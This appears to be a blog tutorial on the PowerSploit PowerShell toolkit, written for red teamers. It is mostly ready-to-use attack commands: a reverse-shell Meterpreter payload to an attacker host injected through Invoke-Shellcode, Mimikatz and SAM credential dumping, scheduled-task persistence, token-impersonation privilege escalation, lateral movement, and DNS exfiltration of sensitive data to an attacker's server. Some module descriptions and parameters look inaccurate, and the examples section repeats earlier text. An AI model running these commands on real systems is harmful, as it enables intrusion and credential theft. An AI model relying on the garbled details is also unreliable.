Greetings, fellow hackers, red teamers, and penetration testers! In today’s highly interconnected world, hacking has evolved significantly. With new tools and techniques popping up daily, staying ahead of the curve is essential. One such powerful tool that has been increasingly gaining attention in the cybersecurity community is PowerSploit. PowerSploit is a collection of PowerShell modules designed explicitly for offensive security operations.

In this article, we’ll dive deep into PowerSploit, exploring its capabilities and providing plenty of real-world examples to help you enhance your offensive security skills. So, buckle up and prepare for an exciting journey into PowerShell and offensive security operations!

What is PowerSploit?

PowerSploit is an open-source project developed by security researchers and enthusiasts. It’s a collection of PowerShell scripts and modules designed to aid penetration testers and red teamers in their offensive security operations. These modules provide various functionalities, from code execution and script modification to persistence, privilege escalation, recon, and exfiltration. PowerSploit’s strength lies in its flexibility and extensibility, allowing users to create custom modules and scripts tailored to their needs.

PowerSploit uses PowerShell, a powerful scripting language and automation framework built on the .NET Framework. PowerShell is installed by default on most Windows systems, making it an ideal tool for offensive security operations, especially in Windows environments.

Setting up PowerSploit

Before diving into PowerSploit’s features, let’s set it up on your machine. Here’s how you can do it:

  1. Clone the PowerSploit repository from GitHub:

    git clone https://github.com/PowerShellMafia/PowerSploit.git

  2. Navigate to the PowerSploit directory and import the desired module:

    cd PowerSploit
Import-Module .\Exfiltration\Invoke-Mimikatz.ps1

  3. You can also download and import individual scripts from the PowerSploit GitHub repository if you don’t want to clone the entire repository.

Now that PowerSploit is set up let’s explore its various modules.

PowerSploit Modules

PowerSploit is organized into six main categories of modules, each serving a distinct purpose in offensive security operations. This section will cover each category and provide examples to help you understand how to use these modules effectively.

Code Execution

The code execution modules in PowerSploit enable you to run arbitrary code on a target system. Some popular modules in this category are:

  • Invoke-Shellcode: This module allows you to inject shellcode into the process of your choice or within the PowerShell process.
  • Invoke-DllInjection: This module can inject a specified Dll into the process of your choice.
  • Invoke-ReflectivePEInjection: This module can reflectively load a Windows PE file (such as an EXE or DLL) into the target process’s memory without touching the disk.

Example: Using Invoke-Shellcode to deploy a reverse shell

Suppose you want to execute a reverse shell on a target machine using the Invoke-Shellcode module. First, generate the shellcode using a tool like msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f powershell

Once you have the generated shellcode, use the following command to execute it on the target machine:

Invoke-Shellcode -Shellcode 'YOUR_GENERATED_SHELLCODE' -Force

This command will inject the shellcode into the PowerShell process and establish a reverse shell connection to your specified IP address and port.

Script Modification

Script modification modules in PowerSploit allow you to modify PowerShell scripts in various ways, such as obfuscating the code, evading antivirus detection, or bypassing script execution policies. Some popular modules in this category are:

  • Out-EncodedCommand: This module outputs an encoded command that you can use to bypass execution policies.
  • Out-CompressedDll: This module compresses a Dll file and outputs a new Dll file that can be loaded using the Invoke-ReflectivePEInjection module.

Example: Bypassing Execution Policy with Out-EncodedCommand

To bypass the execution policy on a target machine, you can use the Out-EncodedCommand module to encode your PowerShell command. Here’s an example:

$command = 'Get-Process'
$encodedCommand = Out-EncodedCommand -Command $command

Now, you can execute the encoded command on the target machine using the following command:

powershell.exe -EncodedCommand $encodedCommand

This command will bypass the execution policy and execute the original command (in this case, “Get-Process”).

Persistence

Persistence modules in PowerSploit allow you to maintain access to a compromised system by creating various persistence mechanisms. Some popular modules in this category are:

  • New-UserPersistenceOption: This module generates user-level persistence options, such as registry keys, scheduled tasks, or startup items.
  • New-ElevatedPersistenceOption: This module generates elevated persistence options, such as system services, global scheduled tasks, or Active Directory persistence.

Example: Creating a Scheduled Task for Persistence

To create a scheduled task that runs a PowerShell command every day at a specific time, you can use the New-UserPersistenceOption module:

New-UserPersistenceOption -Command "powershell.exe -Command 'YOUR_PAYLOAD_COMMAND'" -Frequency Daily -At "12:00"

This command will create a new scheduled task that runs the specified PowerShell command daily at 12:00 PM.

Privilege Escalation

Privilege escalation modules in PowerSploit help you elevate your privileges on a compromised system. Some popular modules in this category are:

  • Invoke-TokenManipulation: This module allows you to impersonate or steal tokens of other processes to escalate your privileges.
  • PowerUp: This module checks for common Windows privilege escalation vectors and provides suggestions for exploiting them.

Example: Privilege Escalation via Token Manipulation

To escalate your privileges using the Invoke-TokenManipulation module, first, use the “Find” action to search for processes running as an administrator:

Invoke-TokenManipulation -Enumerate

If a suitable process is found, use the “Impersonate” action to impersonate the process’s token:

Invoke-TokenManipulation -ImpersonateUser -Username "TARGET_USERNAME"

This command will impersonate the specified user’s token, effectively escalating your privileges.

Recon

Recon modules in PowerSploit are designed to help you gather information about your target environment, such as users, groups, permissions, and more. Some popular modules in this category are:

  • Get-NetUser: This module retrieves information about a specified user or all users in the current domain.
  • Get-NetComputer: This module retrieves information about computers in the current domain.
  • Get-NetShare: This module retrieves information about shared folders on a specified computer.

Example: Enumerating Domain Users with Get-NetUser

To enumerate all users in the current domain, you can use the Get-NetUser module:

Get-NetUser -Filter *

This command will retrieve information about all users in the domain, including their username, full name, description, and more.

Exfiltration

Exfiltration modules in PowerSploit allow you to extract data from a compromised system stealthily. Some popular modules in this category are:

  • Invoke-Mimikatz: This module runs Mimikatz, a powerful tool for extracting credentials from Windows systems.
  • Invoke-PowerDump: This module dumps password hashes from the local Security Accounts Manager (SAM) database.
  • Out-DnsTxt: This module exfiltrates data over DNS using TXT records.

Example: Data Exfiltration Using DNS

To exfiltrate data from a compromised system using DNS, you can use the Out-DnsTxt module. First, ensure your DNS server is set up to log incoming DNS queries. Then, use the following command to exfiltrate data:

Out-DnsTxt -Data "SENSITIVE_DATA" -DnsServer "YOUR_DNS_SERVER"

This command will encode the specified data as a base64 string and send it to your DNS server using TXT records.

Real-World Examples

In this section, we’ll go over some real-world examples of PowerSploit in action to better understand how these modules can be used in your offensive security operations.

Deploying a Reverse Shell

In this example, we’ll use PowerSploit’s Invoke-Shellcode module to deploy a reverse shell on a target machine. First, generate the shellcode using a tool like msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f powershell

Next, use the following command to execute the generated shellcode on the target machine:

Invoke-Shellcode -Shellcode 'YOUR_GENERATED_SHELLCODE' -Force

This command will inject the shellcode into the PowerShell process and establish a reverse shell connection to your specified IP address and port.

Privilege Escalation via Token Manipulation

In this example, we’ll use PowerSploit’s Invoke-TokenManipulation module to escalate our privileges on a compromised system. First, use the “Find” action to search for processes running as an administrator:

Invoke-TokenManipulation -Enumerate

If a suitable process is found, use the “Impersonate” action to impersonate the process’s token:

Invoke-TokenManipulation -ImpersonateUser -Username "TARGET_USERNAME"

This command will impersonate the specified user’s token, effectively escalating your privileges.

Lateral Movement with PowerShell Remoting

In this example, we’ll use PowerShell remoting, a feature available by default on Windows systems, to move laterally across a network. First, use PowerSploit’s Get-NetComputer module to enumerate computers in the domain:

Get-NetComputer -Filter *

Once you have identified a target computer, use the following command to establish a remote PowerShell session:

Enter-PSSession -ComputerName "TARGET_COMPUTER"

Now, you can execute PowerShell commands on the target computer as if running them locally.

Data Exfiltration Using DNS

In this example, we’ll use PowerSploit’s Out-DnsTxt module to exfiltrate data from a compromised system using DNS. First, ensure your DNS server is set up to log incoming DNS queries. Then, use the following command to exfiltrate data:

Out-DnsTxt -Data "SENSITIVE_DATA" -DnsServer "YOUR_DNS_SERVER"

This command will encode the specified data as a base64 string and send it to your DNS server using TXT records.

Conclusion

In this article, we have explored the various features and capabilities of PowerSploit, a powerful tool for offensive security operations. We have discussed the six main categories of PowerSploit modules, including code execution, script modification, persistence, privilege escalation, recon, and exfiltration. We have also provided several real-world examples to help you understand how to use these modules effectively in your offensive security operations.

PowerSploit’s strength lies in its flexibility and extensibility, allowing users to create custom modules and scripts tailored to their needs. By leveraging PowerSploit with other tools and techniques, you can significantly enhance your offensive security skills and stay ahead of the curve in the ever-evolving world of cybersecurity.

So, go ahead and experiment with PowerSploit, discover new ways to exploit vulnerabilities, and sharpen your skills as a professional hacker. Remember, with great power comes great responsibility, so always use your knowledge ethically and responsibly. Good luck, and happy hacking!